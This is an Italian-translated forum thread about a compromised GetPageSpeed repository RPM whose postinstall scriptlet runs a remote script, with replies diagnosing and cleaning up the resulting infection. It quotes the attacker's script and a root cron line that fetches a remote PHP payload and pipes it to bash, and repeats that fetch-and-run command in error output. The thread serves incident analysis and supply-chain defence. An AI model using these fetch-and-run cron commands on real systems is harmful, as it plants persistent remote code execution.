In che modo l'installazione di questo RPM ha creato un file?

L'esecuzione yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmcrea /etc/cron.d/sysstat2ma RPM non consente il file:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

In che modo l'RPM ha creato il file e come posso vedere cos'altro ha fatto?

# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php contiene:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2

Hai scoperto che gli script di rpm eseguono uno script da Internet e che attualmente reindirizza a quello che potrebbe essere un malware. Anche se non sto trovando molto di un payload che fa qualcosa.

rpm non può tracciare completamente ciò che è accaduto perché sta eseguendo uno script arbitrario.

gpgcheck non ti aiuterà, sia il getpagespeed-extras-7-6.el7.gps.noarch.rpmche il getpagespeed-extras-release-7-1.el7.gps.noarch.rpmtuo link sembrano avere firme valide:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <info@getpagespeed.com>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

Reclami al proprietario del repository che il pacchetto esegue codice arbitrario da Internet. In tal caso, è necessario migliorare la sicurezza della catena di fornitura del software.

Sembra un po 'paranoico eseguire la prima installazione di software senza accesso a Internet o ispezionare manualmente lo script "post installazione". Ma sfortunatamente sembra quasi necessario se i pacchetti fanno trucchi sconsiderati come questo.

Ho 5 server CLoudLinux / cPanel che avevano Nginx su di loro tramite Engintron, ma ora eseguono invece il server web LiteSpeed. Penso che Engintron potrebbe aver lasciato indietro i repository di pagine quando è stato disinstallato. cPanel esegue un controllo degli aggiornamenti ogni notte e verso mezzanotte tutti i miei server mi hanno inviato un rapporto e-mail:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

Una ricerca per il sito del payload mi ha portato qui dove ho visto che lo stesso giorno hai avuto lo stesso problema. Quindi per aggiungere le mie informazioni alle tue. Lo stesso /etc/cron.d/sysstat2file esisteva su tutti i miei server.

Ho eliminato il file, rimosso i repository e utilizzato il modulo di contatto su GetPageSpeed ​​per segnalare il problema. Il proprietario di Repo potrebbe essere AWOL in quanto c'era un post sul blog che diceva che stava chiudendo il repo a causa di problemi di salute. Quindi forse l'attaccante ha approfittato del fatto che il repository non sta attirando l'attenzione o ha trovato una porta aperta da sfruttare.